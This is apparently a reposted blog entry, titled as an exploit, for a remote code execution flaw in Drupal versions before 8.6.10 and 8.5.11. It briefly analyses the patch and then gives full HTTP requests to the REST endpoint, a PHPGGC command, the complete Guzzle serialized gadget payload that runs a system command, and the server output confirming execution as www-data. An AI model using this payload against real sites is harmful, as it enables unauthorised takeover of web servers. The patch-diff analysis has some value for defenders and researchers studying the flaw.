zoukankan      html  css  js  c++  java
  • [EXP]Drupal < 8.6.10 / < 8.5.11

    Analyzing the patch
    By diffing Drupal 8.6.9 and 8.6.10, we can see that in the REST module, FieldItemNormalizer now uses a new trait, SerializedColumnNormalizerTrait. This trait provides the checkForSerializedStrings() method, which in short raises an exception if a string is provided for a value that is stored as a serialized string. This indicates the exploitation vector fairly clearly: through a REST request, the attacker needs to send a serialized property. This property will later be unserialize()d, thing that can easily be exploited using tools such as PHPGGC. Another modified file gives indications as to which property can be used: LinkItem now uses unserialize($values['options'], ['allowed_classes' => FALSE]); instead of the standard unserialize($values['options']);.
    
    As for all FieldItemBase subclasses, LinkItem references a property type. Shortcut uses this property type, for a property named link.
    
    Triggering the unserialize()
    Having all these elements in mind, triggering an unserialize is fairly easy:
    
    GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
    Host: 192.168.1.25
    Content-Type: application/hal+json
    Content-Length: 642
    
    {
      "link": [
        {
          "value": "link",
          "options": "<SERIALIZED_CONTENT>"
        }
      ],
      "_links": {
        "type": {
          "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
        }
      }
    }
    Since Drupal 8 uses Guzzle, we can generate a payload using PHPGGC:
    
    $ ./phpggc guzzle/rce1 system id --json
    "O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"u0000GuzzleHttp\Psr7\FnStreamu0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"u0000GuzzleHttp\HandlerStacku0000handler";s:2:"id";s:30:"u0000GuzzleHttp\HandlerStacku0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"u0000GuzzleHttp\HandlerStacku0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"
    We can now send the payload via GET:
    
    GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
    Host: 192.168.1.25
    Content-Type: application/hal+json
    Content-Length: 642
    
    {
      "link": [
        {
          "value": "link",
          "options": "O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"u0000GuzzleHttp\Psr7\FnStreamu0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"u0000GuzzleHttp\HandlerStacku0000handler";s:2:"id";s:30:"u0000GuzzleHttp\HandlerStacku0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"u0000GuzzleHttp\HandlerStacku0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"
        }
      ],
      "_links": {
        "type": {
          "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
        }
      }
    }
    To which Drupal responds:
    
    HTTP/1.1 200 OK
    Link: <...>
    X-Generator: Drupal 8 (https://www.drupal.org)
    X-Drupal-Cache: MISS
    Connection: close
    Content-Type: application/hal+json
    Content-Length: 9012
    
    {...}uid=33(www-data) gid=33(www-data) groups=33(www-data)
    Note: Drupal caches responses: if you're in a testing environment, clear the cache. If not, try another node ID.
                
  • 相关阅读:
    填坑总结:python内存泄漏排查小技巧
    springMVC注解中@RequestMapping中常用参数value params 以及@RequestParam 详解
    springMVC 自定义类型转换器
    为什么Java需要lambda 表达式? 上帝爱吃苹果
    利器| Cypress 强大全新的 Web UI 测试框架应用尝鲜
    缺少锻炼面试的机会?城市群之北上广杭一起来了!
    实战 | 基于JMeter 完成典型电商场景(首页浏览)的性能压测
    一文搞定 pytest 自动化测试框架(一)
    测试面试 | Java 经典面试题汇总
    软件测试工程师成长痛点和职业发展建议
  • 原文地址:https://www.cnblogs.com/k8gege/p/10533512.html
Copyright © 2011-2022 走看看